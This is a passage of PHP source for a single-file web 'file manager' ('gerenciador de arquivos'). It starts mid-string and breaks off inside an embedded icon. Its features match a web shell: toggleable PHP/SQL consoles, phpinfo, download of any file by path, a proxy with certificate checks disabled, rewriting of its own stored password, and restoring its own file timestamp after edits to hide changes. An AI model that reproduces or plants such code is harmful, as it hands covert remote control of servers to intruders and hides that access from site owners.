input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>gerenciador de arquivos</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>gerenciador de arquivos</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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